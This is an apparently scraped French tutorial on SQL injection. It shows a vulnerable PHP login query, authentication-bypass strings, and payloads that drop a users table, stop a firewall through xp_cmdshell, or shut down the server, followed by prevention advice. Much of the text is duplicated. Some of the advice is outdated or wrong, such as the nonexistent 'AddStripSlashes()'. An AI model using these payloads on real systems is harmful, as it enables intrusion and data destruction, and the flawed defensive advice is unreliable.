c'est quoi une attaque de type sql injection ?
Comme vous le savez certainement SQL (Structured Query Language) est un language de base de donnees, celles-ci representant le coeur de beaucoup d'applications web de nos jours. C'est un language base sur des requetes utilisant des instructions telles que INSERT (insertion de donnees dans la base de donnees), DELETE (pour en supprimer), UPDATE (pour en mettre à jour), SELECT (pour en selectionner et lire), et bien d'autres. Mais cette simplicite en fait aussi une proie facile aux detections de failles.
Exemple de requete :
SELECT * FROM users WHERE login = 'damien';
Cette requete aura pour effet de selectionner l'utilisateur (extrait de la table "users") dont le login est "damien". "SELECT *" signifiant qu'on selectionne tous les champs de cette table mais peu importe pour le moment.
Continuons sur cet exemple pour bien vous faire comprendre ce qu'est une attaque de type sql injection (Mon exemple n'etant pas du pur hasard puisqu'une attaque de ce type dans le but de recuperer un mot de passe ou de s'identifier est certainement la plus courante). Maintenant imaginons que ma page contienne un formulaire d'identification utilisateur de ce type :
Exemple de requete :
SELECT * FROM users WHERE login = 'damien';
Cette requete aura pour effet de selectionner l'utilisateur (extrait de la table "users") dont le login est "damien". "SELECT *" signifiant qu'on selectionne tous les champs de cette table mais peu importe pour le moment.
Continuons sur cet exemple pour bien vous faire comprendre ce qu'est une attaque de type sql injection (Mon exemple n'etant pas du pur hasard puisqu'une attaque de ce type dans le but de recuperer un mot de passe ou de s'identifier est certainement la plus courante). Maintenant imaginons que ma page contienne un formulaire d'identification utilisateur de ce type :
La requete associee à ce formulaire permettant de verifier que les login / password entres sont valides par rapport à notre base de donnees serait :
mysql_query("SELECT * FROM users WHERE utilisateur = '$login' AND motdepasse = '$password'");
Cette requete aurait pour effet de selectionner l'utilisateur en question si le nom d'utilisateur ET le mot de passe entres sont dans notre base de donnees. Si l'un des deux est errones la requete ne renverra aucun resultat.
mysql_query("SELECT * FROM users WHERE utilisateur = '$login' AND motdepasse = '$password'");
Cette requete aurait pour effet de selectionner l'utilisateur en question si le nom d'utilisateur ET le mot de passe entres sont dans notre base de donnees. Si l'un des deux est errones la requete ne renverra aucun resultat.
L'attaque en question
Sachant que sur mon exemple la variable $login contient ce que j'ai tape dans mon premier champ de texte et que la variable $password contient de meme ce que j'ai tape dans le deuxieme champ de texte (mot de passe), imaginez ce que cela pourrait donner si j'entrais ceci dans le premier champ de texte
Si nous allons voir ce qui se passe du cote du code, ma requete deviendrait alors :
mysql_query("SELECT * FROM users WHERE utilisateur = '' OR 1=1"); //' AND motdepasse = '$password'");
Et elle permettrait certainement d'identifier car la requete est vraie si un utilisateur "" existe OU si 1=1. Comme il est evident que 1 est egal à 1, elle serait vraie. Le signe "//" signifiant un commentaire en php, le reste serait rendu inutile. il est vrai que ma requete est un peu tiree par les cheveux, mais imaginez maintenant que je sache qu'un certain damien est possesseur des droits administrateurs et que je rentre ceci dans mon champ de texte :
mysql_query("SELECT * FROM users WHERE utilisateur = '' OR 1=1"); //' AND motdepasse = '$password'");
Et elle permettrait certainement d'identifier car la requete est vraie si un utilisateur "" existe OU si 1=1. Comme il est evident que 1 est egal à 1, elle serait vraie. Le signe "//" signifiant un commentaire en php, le reste serait rendu inutile. il est vrai que ma requete est un peu tiree par les cheveux, mais imaginez maintenant que je sache qu'un certain damien est possesseur des droits administrateurs et que je rentre ceci dans mon champ de texte :
il selectionnera alors l'utilisateur damien sans se preoccuper du mot de passe en suivant le meme raisonnement que precedemment. .
Demonstration d'autres types d'attaques
Dans notre exemple precedent, nous ne faisions que nous identifier et nous aurions tres bien pu recuperer un mot de passe de la meme facon. Mais ce n'est pas tout ce qu'on pourrait faire avec une injection sql. Maintenant que vous avez compris comment vous "fabriquer" vos propres requetes, voici quelques exemples de requetes venant à effectuer des modifications sur les donnees ou meme le systeme cette fois-ci.
login : ' OR 1=1"); drop table users;
password : n'importe lequel
Celle-ci supprimerait completement la table users.
login : '; exec master..xp_cmdshell 'net stop firewall'; --
password : n'importe lequel
Sachant que je suis repasse dans une syntaxe sql utilisee sur asp, cette requete ci-dessus aurait pour effet d'executer une commande shell "net stop firewall" qui stopperait l'execution du service "firewall". Et puisque le serveur sql est lance en tant que SYSTEM par defaut, nous aurions tout à fait ce droit d'arreter des services.
login : '; shutdown with nowait; --
password : n'importe lequel
admin' --
admin' #
admin'/*
' or 1=1-- /////celle-la m'a permis de résoudre un challenge, merci à elle ................
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
Mais ce ne sont que quelques exemples car les possibilites sont nombreuses.
login : ' OR 1=1"); drop table users;
password : n'importe lequel
Celle-ci supprimerait completement la table users.
login : '; exec master..xp_cmdshell 'net stop firewall'; --
password : n'importe lequel
Sachant que je suis repasse dans une syntaxe sql utilisee sur asp, cette requete ci-dessus aurait pour effet d'executer une commande shell "net stop firewall" qui stopperait l'execution du service "firewall". Et puisque le serveur sql est lance en tant que SYSTEM par defaut, nous aurions tout à fait ce droit d'arreter des services.
login : '; shutdown with nowait; --
password : n'importe lequel
admin' --
admin' #
admin'/*
' or 1=1-- /////celle-la m'a permis de résoudre un challenge, merci à elle ................
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
Mais ce ne sont que quelques exemples car les possibilites sont nombreuses.
Comment se proteger des attaques par injection sql ?
Comme vous pouvez vous en douter, le seul moyen de prevenir ces attaques se trouve au niveau de la programmation. Si celle-ci est bien realisee, elles ne sont normalement plus possibles. Alors...quelles sont les rïsques de programmation à prendre en compte ?
- Tout d'abord, evitez d'utiliser un compte ayant tous les pouvoirs pour l'execution de votre serveur sql si possible.
- Supprimer les fonctions que vous n'utilisez pas telle que celle que nous avons vu : master..xp_cmdshell, et de maniere generale toutes celles commencant par "master..xp".
- verifiez les entrees utilisateurs telles que les champs de texte. verifiez aussi que les nombres attendus soient bien des nombres avec une fonction telle que IsNumeric() par exemple.
- verifiez aussi les parametres des URL qui sont ajoutables.
- Utilisez les caracteres et fonctions d'echappement telles que AddStripSlashes() en php, voir les caracteristiques de la fonction et en general les documentations de vos languages de programmation web pour plus d'infos. Cela empechera par exemple l'entree utilisateur du caractere ' en l'echappant à l'aide d'un slash le precedant.
- Vous pouvez aussi empecher d'une maniere generale certaines sequences d'entrees utilisateurs telles que ";", "insert", "select", "//", "--", etc.
- Attention aussi à limiter le nombre de caracteres qu'un utilisateur peut entrer dans un champ de texte, car ceci peut fort bien lui compliquer la tache.
- Pour finir, attention à ce que vous mettez dans les cookies, car un mot de passe (meme crypter en md5) est vite trouvé par une attaque de ce type. Et par la suite un remplacement de cette valeur dans le cookie ïncite l'attaquant à une attaque de type brute force ; c'est donc un joli cadeau.
- Tout d'abord, evitez d'utiliser un compte ayant tous les pouvoirs pour l'execution de votre serveur sql si possible.
- Supprimer les fonctions que vous n'utilisez pas telle que celle que nous avons vu : master..xp_cmdshell, et de maniere generale toutes celles commencant par "master..xp".
- verifiez les entrees utilisateurs telles que les champs de texte. verifiez aussi que les nombres attendus soient bien des nombres avec une fonction telle que IsNumeric() par exemple.
- verifiez aussi les parametres des URL qui sont ajoutables.
- Utilisez les caracteres et fonctions d'echappement telles que AddStripSlashes() en php, voir les caracteristiques de la fonction et en general les documentations de vos languages de programmation web pour plus d'infos. Cela empechera par exemple l'entree utilisateur du caractere ' en l'echappant à l'aide d'un slash le precedant.
- Vous pouvez aussi empecher d'une maniere generale certaines sequences d'entrees utilisateurs telles que ";", "insert", "select", "//", "--", etc.
- Attention aussi à limiter le nombre de caracteres qu'un utilisateur peut entrer dans un champ de texte, car ceci peut fort bien lui compliquer la tache.
- Pour finir, attention à ce que vous mettez dans les cookies, car un mot de passe (meme crypter en md5) est vite trouvé par une attaque de ce type. Et par la suite un remplacement de cette valeur dans le cookie ïncite l'attaquant à une attaque de type brute force ; c'est donc un joli cadeau.
Conclusion
Nous avons pu voir differents types d'attaques realisables par injection sql ainsi que des moyens de les prevenir, en esperant que votre vision de la programmation sql aura ete amelioree coté securite et que vous pourrez vous-memes essayer de remïedier à ces failles dans vos applications web si besoin est puisque c'est le but.
Volontairement je ne me suis pas attarde sur l'ajout de parametres dans une URL, qui peut provoquer une injection sql de la meme facon car le principe est le meme, sauf que les formulaires vulnerables seront des formulaires les plus souvent caches cette fois-ci.
Voila..souvenez vous qu'aucune application web utilisant une base de donnees n'est totalement securisee si vous ne vous en preoccupez pas.
Volontairement je ne me suis pas attarde sur l'ajout de parametres dans une URL, qui peut provoquer une injection sql de la meme facon car le principe est le meme, sauf que les formulaires vulnerables seront des formulaires les plus souvent caches cette fois-ci.
Voila..souvenez vous qu'aucune application web utilisant une base de donnees n'est totalement securisee si vous ne vous en preoccupez pas.
